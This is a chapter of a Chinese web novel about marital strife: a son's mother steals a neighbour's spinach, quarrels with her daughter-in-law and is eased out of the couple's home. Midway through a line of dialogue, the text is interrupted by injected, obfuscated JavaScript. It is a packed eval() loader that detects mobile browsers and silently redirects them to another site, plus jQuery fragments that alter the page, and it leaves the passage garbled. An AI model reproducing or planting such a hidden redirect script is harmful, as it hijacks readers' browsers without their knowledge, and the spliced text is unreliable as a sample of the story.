42. 团宠世界

作品:《神祇

    办公室里没有不透风的墙,朴为德被训斥的消息不胫而走。


    公司里,许多人对此幸灾乐祸。


    原本,对于这位空降的驸马爷,大家就心存不满。


    朴为德自诩为大学生,不愿放下身段与同事们融洽相处,偏偏他又未能展现出令人信服的能力,于是流言蜚语愈发猖獗。


    就连一向厚道的大陈也不禁感叹:“我们哪有资格教导他?他可是靠着枕边风直达天听的人物,有事还是让他直接去问总经理吧。”


    起初,大陈真心想要指导朴为德,但对方却傲慢至极,只在公司里围着郝父转,对这位名义上的“师父”不屑一顾。时间一长,大陈的耐心也消耗殆尽。


    即便有郝父的庇护,大家不能公然对朴为德怎样,但在职场上,排挤人的手段层出不穷。


    不久,朴为德在公司里便处处碰壁,事事不顺。


    他心烦意乱,也无心去哄稻梅,两人的关系陷入了僵局,甚至下班时也不再同行。


    当初为了方便,郝家购置的新居离公司仅几步之遥。


    然而,就是这短短的几分钟路程,两人也要一前一后,仿佛彼此是陌生人。


    郝稻梅走在前面,刚走近便听到一个粗犷的声音怒吼:“哪个不要脸的摘了老娘的菠菜!你若好好跟我说,我会不给吗?非得不要脸去做贼!还踩坏了一大片,你可得小心别被老娘抓到,否则老娘非剁了你的贼爪子不可!”


    这是一楼的大婶,她热心肠,勤劳,只是说话时声音大了些。一楼的小院里,她喜欢种些蔬菜,不只是为了吃,更多的是不想让自己闲下来。菜长好了,她总会分给邻居们一些。如今有人偷了她的菜,还糟蹋了那么多,无疑是触了她的逆鳞,难怪她会如此愤怒。


    稻梅安慰了大婶几句便回家了,面对的又是冷清的厨房,朴为德所谓的“帮她做家务”不过是一句空话。


    她冷笑一声,打开冰箱准备做两道菜填肚子。然而,当她打开冰箱时,她愣住了,随即冲着朴为德喊道:“你快来看看,这是怎么回事?”


    朴为德不耐烦地走过来,“又怎么了?你就不能消停会儿?”话音未落,他也愣住了。


    冰箱里躺着两把新鲜的菠菜,显然是刚从地里拔出来的。拔菜的人太匆忙,菜根上的泥土都没来得及甩掉,弄得冰箱里泥泞不堪,仿佛经历了一场混战。


    稻梅的声音尖利起来,“这是怎么回事?朴为德你给我说清楚!”还不等朴为德回答,艾侽背着手从屋里踱过来,“瞎嚷嚷什么?不就是弄了点儿土吗,有什么大惊小怪的!你快收拾收拾,然后把这菠菜炒个鸡蛋,咱们晚上吃。”


    稻梅勉强压下心中的怒火,“妈,这菜是怎么来的?别告诉我是你买的,哪有卖菜的带着这么多土卖!”


    “怎么着?你还想审问我啊!还哪儿来的?地里长出来的!菜叶上又没写名字,吃你的就完了,你管那么多干吗!”


    稻梅气得几乎要哭出来,“这是——人家——园子里种的!!!”艾侽翻了个白眼,“那又怎样,谁让她没看好?我说楼下那娘们是你什么人,你要这么向着她!”


    “我要去举报你,你这是偷窃!!”


    稻梅感到羞愤交加,她刚才还安慰了楼下的大婶,没想到贼就在身边!她难道缺艾侽吃的,还是少艾侽喝的?


    她至于去偷鸡摸狗吗?想到刚才大婶儿骂的那些难听话,稻梅脸上一阵红一阵白,几乎站不稳。


    “什么?你说我是贼?老三啊,快看看你媳妇儿,她这是要我的命啊!我这是为了谁啊,还不都是想帮你们省点钱吗!城里东西贵,你媳妇儿又大手大脚的,我心疼你挣钱不容易啊!”艾侽拍着大腿,又开始了她那套唱念做打的表演。


    朴为德心疼不已,“稻梅,你够了!我妈不就是摘了几把菜吗,在我们村里,经过谁家地上去薅一把都是常事,你至于这么上纲上线吗?你以为你家有多讲究?有本事把话说在明面,少在公司给我穿小鞋!”


    稻梅又惊又怒,“你说谁给你穿小鞋?!”


    “别装糊涂了!要不是你跟你爸说了小话,我那么好的方案你爸怎么给否了?大陈是他派来带我的,怎么反而带头针对我?”


    稻梅感到一阵寒意,“那都是公事公办,我从来没跟我爸说过什么,如果你的方案好,我爸当然会用。我又怎么会撺掇同事给你脸色看!”


    “少来这套!公司都是你爸的,想怎么样还不是他一句话的事儿,我就是运气不好,犯到你们一家人手里,只能认命了。不过,你们有什么事儿冲我来,敢欺负我妈,我跟你们没完!”


    他这些天早都想明白了,他之所以在公司被排挤,都是稻梅在背后捣鬼。不然,怎么那么巧,他们刚吵完架,自己的方案就被否决了。


    稻梅仿佛不认识朴为德一样,不可置信地盯着他。这是正常人能说出来的话吗?自从艾侽来了之后,母子俩天天凑在一起嘀咕,朴为德的行事作风也就越来越偏颇,越来越小家子气了。


    她跟他实在沟通不了,这个家根本就不是正常人待的地方。“咱们各自冷静一下吧”,稻梅说完,夺门而出。


    朴为德像泄了气的皮球一样,一屁股倒在沙发上,艾侽急忙凑过去,“老三,他们在公司给你气受了?”朴为德闭着眼没说话,只是疲惫地点了点头。


    “哎呦,这个天打雷劈的,串通外人给自己男人气受,她的心怎么这么狠哟。我儿是大学生,一身的本事,什么大官的女儿娶不得,早知这样我说啥都不让她进咱家的门!老三,你不能惯着她,得好好晾她几天,看她一个断后的人家能翻出什么浪来。等她想明白了,就知道回来求你了!”


    朴为德叹了口气,“我知道了,妈,你别气坏了身子。”最近他确实感到有些疲惫,高高在上的自尊也受到了不小的打击,此刻艾侽以他为傲的态度,让他感到十分贴心,不禁感慨,到底还是自己的亲妈最好,知道心疼他。


    可惜他没有看到,艾侽眼里闪过的心虚。


    艾侽虽然嘴上强硬,但她对朴为德的处境心知肚明。


    无论这个儿子有多大的能耐,目前还得依赖稻梅。


    对待倒霉,她不能像对待云灵和李爱侽那样。


    然而,她在家中被伺候惯了,不自觉地摆出了架子,结果生生把稻梅气跑了,她心里也有些不安。


    多年的争吵经验让她学会了一个道理:输人不能输阵,嘴上绝不能示弱,否则就会落于下风,被人追着骂。


    晚上,朴为德买了几张馅饼,两人无味地吃了一些。


    而稻梅家里则热闹得多。


    稻梅哭着跑回家,让母亲吓了一跳。


    听完女儿抽泣着说完事情经过,她暗自叹息,真是冤孽!当初女儿要和朴为德结婚时,她就不赞成。


    做生意多年,她自认有几分看人的眼力。


    艾侽难缠,朴为德又是个孝顺听话的儿子,女儿嫁过去,恐怕有得受了。


    她本想反对,但女儿坚持要嫁,朴为德也对她百般讨好,她只能无奈答应,想着反正都在她眼皮底下,多留心些,不让女儿受委屈就好。


    没想到,女儿还是受了委屈。


    她搂着女儿,问道:“你跟妈说,你还打算继续过下去吗?”


    稻梅抽着鼻子,不说话了。


    她虽然快气死了,但就这么放弃一段婚姻,是不是太草率了?她是不是应该再给朴为德一次机会?


    郝母给她擦擦眼泪,“你要是还想继续过,就不能和你婆婆闹翻。这样吧,明天我去和你婆婆谈谈,让她过段时间就回去。等她走了,你们小两口把话说开,能过还是好好过。”


    第二天,朴为德上班后,郝母拎着一袋水果登门,打了艾侽一个措手不及。


    艾侽在屋里四仰八叉地躺着,只穿了件汗衫,见郝母来了,急忙抓了件衣服披上。


    郝母笑容满面,“亲家母来了这些日子,怎么也不说到家里坐坐?”


    艾侽支支吾吾,说不出个所以然来。


    郝母虽然态度亲切,但穿戴讲究,保养得宜,明明和她是同龄人,看起来却比她年轻十几岁,让她有些自惭形秽。


    郝母自顾自往下说,“昨天的事稻梅都跟我说了,我狠狠说了她一顿,有什么话不能好好说,吵吵嚷嚷的干什么?”


    “亲家母,我这女儿让我惯坏了,说话不留神,但心是好的。她要有什么得罪你的地方,你别见怪,回头告诉我,我来收拾她。”


    “没有,稻梅挺好的。”


    艾侽有些尴尬,郝母的笑容更是不到眼底,“亲家母真是通情达理。我昨天都跟稻梅说了,你婆婆平时辛苦了,到你家歇几天也正常。等她缓过乏来,家务活儿肯定能给你搭把手。”


    “你婆婆种地都是把好手,这点活儿还能难倒她?我们当老人的,没什么别的念想,就希望儿女过得好。你们工作那么忙,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022391|148712||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你婆婆肯定把后方给你安顿好了。”


    “你婆婆跟村里乡亲都处得好,想吃点什么随手就摘了,跟咱们城里不一样。你婆婆就是一时没反应过来,可别说你婆婆是偷,那可太难听了。”


    郝母拍拍她的手,“亲家母你别担心,我刚才已经跟楼下那老姐姐说清楚了,你不常到城里,不了解情况,让她不知者不罪,我还给她送了兜水果赔罪。哎,她那个人呐,就是嘴碎爱唠叨,其实人可好了。说不定等你回去时,她还能送你一兜菜呢。”


    一番话说得艾侽脸上一阵红一阵白,说不上是个什么颜色。


    这亲家怎么这么毒呦,居然跟楼下那婆子承认了菜是她偷的,还点明那婆子爱乱说话,那没几天,这小区的人不都得知道了。她还怎么在这小区住?怎么有脸出去晒太阳扯闲篇啊?


    目的达到,郝母准备告辞了,“稻梅呢,就先让她在我那儿住几天,我给她做点好吃的补补。这几天公司太忙,这孩子又要强,生怕别人说她是靠我们,硬是把人都熬瘦了一圈儿,我看着别提多心疼了。亲家母应该能明白我的心,谁家的孩子谁疼啊。”


    得,还有什么可说的,郝母一走,艾侽就开始收拾东西。


    人家话里话外撵自己走呢,就别再自讨没趣儿了。


    真是高兴着来,灰心着走,艾侽委屈上了,一边收拾一边“吧嗒吧嗒”掉眼泪。等朴为德回来,看到的就是眼睛跟烂桃儿一样的艾侽。


    “妈,你怎么了?怎么还收拾起东西了?”


    “老三,今天你丈母娘来了,她……哎,不说了,回头你媳妇回来,你们好好过日子。只要你过得好,妈就高兴。”


    朴为德心“蹦蹦”直跳,“她来干吗?她给你气受了?”


    “没有没有”,艾侽连连摆手,“你别问了,妈大半截入土的人了,这辈子什么苦没吃过?我不跟她们计较了。你还得在他们家公司上班呢,只要他们对你好,妈什么委屈都能受。”


    “妈,儿子不孝,是我对不起你……”朴为德心如刀割,他“噗通”一声跪下,紧紧抱住艾侽的腿,泪水夺眶而出。


    “傻孩子啊,”艾侽轻抚着他的头,泪水同样止不住地流淌,“妈就是想不明白,这房子虽说是她家买的,可这是你媳妇的嫁妆啊。她嫁过来了,这就是你的。怎么我自己儿子的房子,我就不能住了呢?”


    “老三呐,你凡事一定要多长个心眼儿。他们能这么对我,保不齐将来怎么对你呢。你一定要想办法,早点把他们的家产都拿过来,好好教训教训这些狗眼看人低的。”


    “嗯,妈你放心,儿子以后一定不让你再受委屈。”朴为德哽咽着,泪水模糊了视线。


    郝稻梅,你们家欺人太甚!老子要忍辱负重、卧薪尝胆,等老子翻过身来,再狠狠收拾你们!


    ……


    不管再不愿意,艾侽还是讪讪地回了村里。


    她一到家,迎面又是一个晴天霹雳——她的钱被云灵拿走了。


    艾侽险些瘫倒在地,家里的钱都在她手里,可现在倒好,足足八千块呀!


    艾侽惨叫一声,飞奔回屋里。


    别的东西都没动,就是木头柜子上的锁坏了,柜门大敞四开着。


    她伸手摸出最底层包钱的布包,打开一看,存折倒是没动,可钱都没了。


    艾侽眼前一黑,她不太信银行,家里的钱就存了一半,剩下的现金她就放柜子里,睡觉前都要摸一摸才安心。这下全没了!


    艾侽觉得她的半条命也跟着去了,“云灵,你给我滚出来!”


    云灵正补觉呢,被她喊醒满脸不耐,“你们两个,怎么妈刚回来就惹她生气,给我跪下!”


    朴世仁和朴为善特别给面子,说跪就跪,一点儿都不含糊。


    朴世仁还跟艾侽求饶,“妈,求你了,就别管她了。你一管她,倒霉的可是我们啊!”


    “你们,你们怎么成这样了?”艾侽快心梗了,怎么比她走之前还严重?


    朴世仁和朴为善心里也在流血,他们也不想的,可他们亲眼看见云灵徒手把柜子上的铁锁拽断了,谁拦着她拿钱,她能把谁脑袋扇掉了。


    惹不起,他们真的惹不起呀!


    “哎呦,老头子,我活不了了……”


    艾侽又开始捶胸顿足,云灵晃晃脖子,“看你们把妈气得,这样吧,你们就在她面前跪着,什么时候妈气消了,你们才能起来!”


    ……